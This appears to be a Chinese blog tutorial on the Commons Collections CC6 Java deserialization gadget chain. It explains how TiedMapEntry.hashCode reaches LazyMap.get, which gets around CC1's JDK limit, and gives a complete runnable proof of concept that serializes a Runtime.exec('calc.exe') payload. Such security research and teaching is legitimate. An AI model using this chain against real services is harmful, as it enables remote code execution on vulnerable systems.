首页 > 其他分享 >cc6链-绕过cc1的jdk限制

cc6链-绕过cc1的jdk限制

时间:2024-05-09 16:44:08浏览次数:11  
标签:LazyMap jdk cc6 cc1 System import println new out

为什么cc1有jdk版本限制

JDK中的AnnotationInvocationHandler的readObject更新了,所以cc1用不了

但是前面的部分还是存在的,只要我们找到一个新的入口就还是能执行命令

这里回到LazyMap,LazyMap的get方法可以触发后续的rce

所以我们需要寻找新版本JDK中触发LazyMap中get方法的类

TideMapEntry

锵锵,上面说到的那个类就是TideMapEntry

TideMapEntry部分源码:

image

image

此时我们需要触发其hashcode方法

好熟悉啊,这不是DNSLog那条链吗?

从hash到hashcode()

image

image

但是HashMap的put方法会提前调用hash方法,导致提前走完流程

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

LazyMap的前提条件

这里我们先回到LazyMap的get方法,要containsKey(key)==false才会触发

在第一次随便传值(为了抵消hashmap触发的put)的时候就已经触发下面的put传值,反序列化时候就不会进入这个if判断了

image

所以我们需要执行lazymap.remove("2");把序列化时加入的值去掉

所以操作就是装入hashmap

去掉lazymap的key值,之后反射修改LazyMap中的payload

代码

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n    在transform时将会返回Runtime类A");
        ConstantTransformer a=new ConstantTransformer(Runtime.class);

        System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
        InvokerTransformer b=new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]});

        System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
        InvokerTransformer c =new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[] {null, new Object[0]});

        System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n    在transform时将会通过D.exec(\"calc.exe\")执行命令");
        InvokerTransformer d=new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[] {"calc.exe"});

        Transformer[] transformers = new Transformer[]{a, b, c, d};

        System.out.println("[+]使用ChainedTransformer将该数组链接起来\n    执行ChainedTransformer.transform将会执行上述链条");
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 创建Map并绑定transformerChain
        System.out.println("[+]创建LazyMap\n  LazyMap的get方法会执行上述链条\n  随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象");
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));


        System.out.println("[+]创建TideMapEntry装入HashMap\n    调用创建TideMapEntry的hashcode会执行上述链条\n      hashcode()->getvalue()->LazyMap的get");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        System.out.println("[+]调整lazymap");
        lazymap.remove("2");

        System.out.println("[+]put完成,通过反射修改回ChainedTransformer对象");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, transformerChain);

        System.out.println("\n[+]序列化");
        ByteArrayOutputStream serialize = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(serialize);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println("    "+ Base64.getEncoder().encodeToString(serialize.toByteArray()));
        System.out.println("[+]反序列化触发");
        ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));
        unserialize.readObject();


    }
}

运行结果

image

标签:LazyMap,jdk,cc6,cc1,System,import,println,new,out
From: https://www.cnblogs.com/Aixve/p/18182612

相关文章

  • C++: fatal error: Killed signal terminated program cc1plus
    C++:fatalerror:Killedsignalterminatedprogramcc1plus1.在Linux系统中进行C++编译时,出现如下报错,导致编译中止:C++:fatalerror:Killedsignalterminatedprogramcc1pluscompilationterminated.2.解决方法——swap分区查阅相关信息后,认为是虚拟机内存不足造成......
  • ubuntu下多jdk环境轻松却换
    在实际coding生活中,维护老项目与开发新项目常是并行的。快速企业java开发jdk版本,收首先要解决的问题。今天看到一篇Blog,参考配置后完美实现了一键快速切换,nice!!!!!!环境:1、ubuntu222、openjdk1.8、openjdk17具体操作步骤:1、安装openjdk(略),安装位置如下:2、jdk17释放jrebin/jl......
  • 安装jdk
    jdk包名'-x64表示适用于基于x86-64(64位)架构的处理器。'-i586表示适用于基于x86(32位)架构的处理器。'.bin文件通常是独立的安装程序'.rpm文件是针对特定的RPM-based发行版(如RedHat、CentOS等)而设计的'.bin安装给特殊权限然后./包名'.rpm安装rpm-ivh包名......
  • 在IDEA中加载OpenJDK源码
    之所以要阅读OpenJDK源码,是因为SunJDK的某些源码是缺失的,以JDK1.8为例,sun.reflect,sun.rmi及其子包下的类都是没有源码的。如下以下载OpenJDK1.8源码为例进行说明。下载OpenJDK源码文件,如下载zip格式的压缩包。解压OpenJDK源码压缩包文件,在IDEA中按如下路径加载:【File】......
  • idea 项目更改jdk版本后,External Libraries中jdk仍为旧版本
    根据网上搜索,修改Preferences、pom.xml、mavensettings.xml中的jdk版本后,发现ExternalLibraries中jdk仍为旧版本。表示仍旧有漏修改的地方。File->ProjectStructure   ProjectSettings->Project中SDK和LanguageLevel都需要修改  Project Settings->......
  • JDK8和JDK17共存以及切换的方法
    1、先安装"jdk-8u381-windows-x64.exe",再安装"jdk-17_windows-x64_bin.exe"2、"系统属性"-"高级"-"环境变量"-"系统变量"-"Path"-"编辑",删除以下2条C:\ProgramFiles\CommonFiles\Oracle\Java\javapathC:\Pro......
  • Eclipse Memory Analyzer (MAT)的安装后提示JDK版本不对要升级到jdk_17
    背景在启动MAT分析内存时报错:Version1.8.0ofthejvmisnotsuitableforthisproduct,Version17orgreaterisrequired。问题原因很明显,我电脑的JDK和JRE的环境是1.8,需要提升版本:提示需要JDK11才可以运行,但是我的环境变量配置的是JDK8,这咋整?不想更改环境变量中的JDK配置......
  • Windows下从JDK1.8切换安装JDK11不生效
    Windows下安装JDK11是没问题的试了好几遍心态有点崩,试着把path的%JAVA_HOME%\bin移到最上层然后Java-version就可以了可能是配置好JDK1.8之后它会自动生成一个环境变量,此环境变量优先级较高导致在切换到JDK11后系统会先读取到JDK1.8生成环境变量而不会读取到JDK11的环......
  • SAP S4HANA 2023 PCE系统上的SCC1?
    SAPS4HANA2023PCE系统上的SCC1?  在S/4HANA2023PCE系统上执行事务代码SCC1,    系统提示:”传输工具的旧副本已弃用,新的传输复制工具可用,是否继续执行新事务代码SCC1N?”. 点击按钮’是’,系统进入如下界面:    输入TR号码,输入源客户端,   ......
  • JDK8生产参数的学习与整理
    JDK8生产参数的学习与整理背景五一期间加班整理一下用到的一些参数信息.希望能够继续巩固自己的知识.希望下次总结时能够添加上更多东西产品的启动时增加的参数-javaagent:./jmx_prometheus_javaagent-0.17.2.jar=8080:simple-config.yml-Xms20G-Xmx20G-Xmn10G......